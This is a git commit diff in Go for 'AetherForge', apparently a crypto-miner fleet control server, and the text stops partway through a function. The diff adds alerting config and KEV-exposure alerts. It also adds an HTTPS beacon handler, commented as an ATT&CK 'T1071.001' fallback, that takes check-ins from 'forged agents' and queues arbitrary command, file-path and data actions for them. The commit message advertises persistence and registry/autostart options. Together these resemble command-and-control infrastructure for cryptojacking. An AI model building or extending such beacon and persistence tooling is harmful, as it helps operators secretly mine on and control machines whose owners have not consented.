feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -27,6 +27,13 @@ type Config struct {
|
||||
Background BackgroundConfig `json:"background,omitempty"`
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
Server ServerSettings `json:"server"`
|
||||
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
||||
}
|
||||
|
||||
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
||||
type TunnelDefaults struct {
|
||||
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
||||
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
||||
}
|
||||
|
||||
// ServerSettings controls the locally hosted control server (not baked into miners).
|
||||
@@ -110,6 +117,7 @@ type AlertsConfig struct {
|
||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||
TelegramBotToken string `json:"telegram_bot_token"`
|
||||
TelegramChatID string `json:"telegram_chat_id"`
|
||||
WebhookURL string `json:"webhook_url"`
|
||||
// Per-event Telegram/email toggles (default true).
|
||||
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
||||
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
||||
@@ -117,6 +125,7 @@ type AlertsConfig struct {
|
||||
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
||||
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
||||
NotifyBuildComplete bool `json:"notify_build_complete"`
|
||||
NotifyKEVExposure bool `json:"notify_kev_exposure"`
|
||||
EmailEnabled bool `json:"email_enabled"`
|
||||
SMTPHost string `json:"smtp_host"`
|
||||
SMTPPort int `json:"smtp_port"`
|
||||
@@ -194,6 +203,7 @@ func DefaultConfig() *Config {
|
||||
NotifyHashrateDrop: true,
|
||||
NotifyRejectionRate: true,
|
||||
NotifyBuildComplete: true,
|
||||
NotifyKEVExposure: true,
|
||||
},
|
||||
Server: ServerSettings{
|
||||
PublicURL: "",
|
||||
@@ -247,10 +257,15 @@ func LoadConfig() *Config {
|
||||
cfg.Alerts.NotifyHashrateDrop = true
|
||||
cfg.Alerts.NotifyRejectionRate = true
|
||||
cfg.Alerts.NotifyBuildComplete = true
|
||||
cfg.Alerts.NotifyKEVExposure = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
||||
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
||||
}
|
||||
|
||||
return cfg
|
||||
}
|
||||
|
||||
@@ -262,6 +277,7 @@ func (c *Config) AlertSettings() alerts.Settings {
|
||||
return alerts.NewSettings(alerts.NotifyConfig{
|
||||
TelegramBotToken: c.Alerts.TelegramBotToken,
|
||||
TelegramChatID: c.Alerts.TelegramChatID,
|
||||
WebhookURL: c.Alerts.WebhookURL,
|
||||
EmailEnabled: c.Alerts.EmailEnabled,
|
||||
SMTPHost: c.Alerts.SMTPHost,
|
||||
SMTPPort: c.Alerts.SMTPPort,
|
||||
@@ -276,6 +292,7 @@ func (c *Config) AlertSettings() alerts.Settings {
|
||||
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
||||
RejectionRate: c.Alerts.NotifyRejectionRate,
|
||||
BuildComplete: c.Alerts.NotifyBuildComplete,
|
||||
KEVExposure: c.Alerts.NotifyKEVExposure,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -398,6 +415,9 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
if src.Alerts.WebhookURL != "" {
|
||||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||||
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||||
@@ -405,6 +425,7 @@ func mergeConfig(dst, src *Config) {
|
||||
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||||
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
@@ -661,6 +682,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
|
||||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||||
}
|
||||
if in(alertKeys, "email_enabled") {
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
}
|
||||
@@ -682,6 +706,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(alertKeys, "notify_build_complete") {
|
||||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||
}
|
||||
if in(alertKeys, "notify_kev_exposure") {
|
||||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||||
}
|
||||
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
@@ -762,6 +789,18 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
}
|
||||
|
||||
if has("tunnel_defaults") {
|
||||
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
|
||||
if in(tdKeys, "cloudflared_target_url") {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||
}
|
||||
}
|
||||
|
||||
// Keep cloudflared default aligned with public_url when unset.
|
||||
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
|
||||
@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
|
||||
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
||||
s := e.settings()
|
||||
if s.EnabledForAlertType(ev.Type) {
|
||||
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
|
||||
NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
|
||||
}
|
||||
if e.broadcast != nil {
|
||||
e.broadcast(ev)
|
||||
|
||||
56
server/internal/alerts/kev_notify.go
Normal file
56
server/internal/alerts/kev_notify.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// kevExposurePayload mirrors agent KEVScanReport JSON.
|
||||
type kevExposurePayload struct {
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
RiskScore int `json:"risk_score"`
|
||||
Summary string `json:"summary"`
|
||||
Findings []struct {
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Severity string `json:"severity"`
|
||||
Detail string `json:"detail"`
|
||||
} `json:"findings"`
|
||||
}
|
||||
|
||||
const EventKEVExposure = "kev_exposure"
|
||||
|
||||
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
|
||||
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
|
||||
if n == nil || strings.TrimSpace(message) == "" {
|
||||
return
|
||||
}
|
||||
var report struct {
|
||||
KEV *kevExposurePayload `json:"kev_exposure"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
|
||||
return
|
||||
}
|
||||
k := report.KEV
|
||||
if k.ExposedCount == 0 && k.CriticalCount == 0 {
|
||||
return
|
||||
}
|
||||
s := n.settings()
|
||||
if !s.Events.KEVExposure {
|
||||
return
|
||||
}
|
||||
body := agentName + ": " + k.Summary
|
||||
if body == agentName+": " {
|
||||
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
|
||||
}
|
||||
for _, f := range k.Findings {
|
||||
if f.Status == "exposed" && f.Severity == "critical" {
|
||||
body += "\n• " + f.CVE + " " + f.Name
|
||||
}
|
||||
}
|
||||
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
|
||||
}
|
||||
18
server/internal/alerts/kev_notify_test.go
Normal file
18
server/internal/alerts/kev_notify_test.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package alerts
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
|
||||
NotifyKEVFromSysCheck(n, "worker-1", msg)
|
||||
}
|
||||
|
||||
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
|
||||
}
|
||||
@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
|
||||
if !n.eventEnabled(s, event) {
|
||||
return
|
||||
}
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
|
||||
return
|
||||
}
|
||||
log.Printf("[Notify] %s: %s", event, body)
|
||||
NotifyAll(s.NotifyConfig, title, body)
|
||||
NotifyAllEvent(s.NotifyConfig, event, title, body)
|
||||
}
|
||||
|
||||
func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
return s.Events.AgentReconnect
|
||||
case EventBuildComplete:
|
||||
return s.Events.BuildComplete
|
||||
case EventKEVExposure:
|
||||
return s.Events.KEVExposure
|
||||
case "offline":
|
||||
return s.Events.AgentOffline
|
||||
case "hashrate_drop":
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
type NotifyConfig struct {
|
||||
TelegramBotToken string
|
||||
TelegramChatID string
|
||||
WebhookURL string
|
||||
EmailEnabled bool
|
||||
SMTPHost string
|
||||
SMTPPort int
|
||||
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
|
||||
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
|
||||
}
|
||||
|
||||
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
|
||||
if cfg.WebhookURL == "" {
|
||||
return nil
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]string{
|
||||
"event": event,
|
||||
"title": subject,
|
||||
"message": text,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode >= 300 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func NotifyAll(cfg NotifyConfig, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
}
|
||||
|
||||
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
|
||||
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
_ = SendWebhook(cfg, event, subject, text)
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ type EventToggles struct {
|
||||
HashrateDrop bool
|
||||
RejectionRate bool
|
||||
BuildComplete bool
|
||||
KEVExposure bool
|
||||
}
|
||||
|
||||
// Settings combines delivery credentials with per-event toggles.
|
||||
|
||||
25
server/internal/api/auth_context.go
Normal file
25
server/internal/api/auth_context.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type contextKey string
|
||||
|
||||
const authUserKey contextKey = "auth_user"
|
||||
|
||||
func withAuthUser(r *http.Request, username string) *http.Request {
|
||||
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
|
||||
}
|
||||
|
||||
// AuthUsername returns the Basic-auth username for the current request, if any.
|
||||
func AuthUsername(r *http.Request) string {
|
||||
if r == nil {
|
||||
return ""
|
||||
}
|
||||
if u, ok := r.Context().Value(authUserKey).(string); ok {
|
||||
return u
|
||||
}
|
||||
return ""
|
||||
}
|
||||
260
server/internal/api/beacon.go
Normal file
260
server/internal/api/beacon.go
Normal file
@@ -0,0 +1,260 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const beaconReachableWindow = 90 * time.Second
|
||||
|
||||
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
||||
type BeaconCommand struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Stats json.RawMessage `json:"stats,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
Worker string `json:"worker_name,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (h *WSHub) initBeaconMaps() {
|
||||
h.beaconMu.Lock()
|
||||
defer h.beaconMu.Unlock()
|
||||
if h.beaconLastSeen == nil {
|
||||
h.beaconLastSeen = make(map[string]time.Time)
|
||||
}
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
||||
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
last, ok := h.beaconLastSeen[agentID]
|
||||
h.beaconMu.Unlock()
|
||||
return ok && time.Since(last) <= beaconReachableWindow
|
||||
}
|
||||
|
||||
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
||||
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
||||
}
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
if v, ok := args["tail_lines"]; ok {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
cmd.TailLines = n
|
||||
case float64:
|
||||
cmd.TailLines = int(n)
|
||||
}
|
||||
}
|
||||
if v, ok := args["command"].(string); ok {
|
||||
cmd.Command = v
|
||||
}
|
||||
if v, ok := args["path"].(string); ok {
|
||||
cmd.Path = v
|
||||
}
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
cmds := h.beaconCmdQueue[agentID]
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if cmds == nil {
|
||||
return []BeaconCommand{}
|
||||
}
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
||||
if h.db == nil || len(statsJSON) == 0 {
|
||||
return
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
||||
return
|
||||
}
|
||||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||||
if sharesBad < 0 {
|
||||
sharesBad = 0
|
||||
}
|
||||
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
"transport": "https_beacon",
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
||||
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
if display == "" {
|
||||
display = agentID
|
||||
}
|
||||
_ = h.db.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: display,
|
||||
Wallet: req.Wallet,
|
||||
Version: req.Version,
|
||||
Status: "online",
|
||||
})
|
||||
}
|
||||
}
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconResultRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" || req.Action == "" {
|
||||
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
payload := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": req.Action,
|
||||
"success": req.Success,
|
||||
"message": req.Message,
|
||||
"transport": "https_beacon",
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
h.notifyCmdCallback(agentID, req.Action, payload)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
for _, cmd := range cmds {
|
||||
args := map[string]interface{}{}
|
||||
if cmd.TailLines > 0 {
|
||||
args["tail_lines"] = cmd.TailLines
|
||||
}
|
||||
if cmd.Command != "" {
|
||||
args["command"] = cmd.Command
|
||||
}
|
||||
if cmd.Path != "" {
|
||||
args["path"] = cmd.Path
|
||||
}
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
114
server/internal/api/beacon_test.go
Normal file
114
server/internal/api/beacon_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-test-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret(secret)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-beacon-1",
|
||||
"stats": map[string]interface{}{
|
||||
"hashrate_15s": 100.0,
|
||||
"hashrate_1m": 100.0,
|
||||
"hashrate_15m": 100.0,
|
||||
},
|
||||
})
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("missing secret: got %d", rec.Code)
|
||||
}
|
||||
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK {
|
||||
t.Fatal("expected ok")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("q-agent")
|
||||
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
|
||||
t.Fatal("enqueue failed")
|
||||
}
|
||||
cmds := hub.dequeueBeaconCommands("q-agent")
|
||||
if len(cmds) != 1 || cmds[0].Action != "pause" {
|
||||
t.Fatalf("commands: %+v", cmds)
|
||||
}
|
||||
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
|
||||
t.Fatal("queue should be empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-cmd-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("cmd-agent")
|
||||
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
|
||||
t.Fatalf("commands: %+v", resp.Commands)
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,8 @@ import (
|
||||
|
||||
// ConfigHandler handles GET/PUT for server configuration settings
|
||||
type ConfigHandler struct {
|
||||
config ConfigProvider
|
||||
config ConfigProvider
|
||||
auditSave func(username string)
|
||||
}
|
||||
|
||||
// ConfigProvider is an interface for the server config so we don't import main package
|
||||
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
|
||||
return &ConfigHandler{config: cp}
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
|
||||
h.auditSave = fn
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.auditSave != nil {
|
||||
h.auditSave(AuthUsername(r))
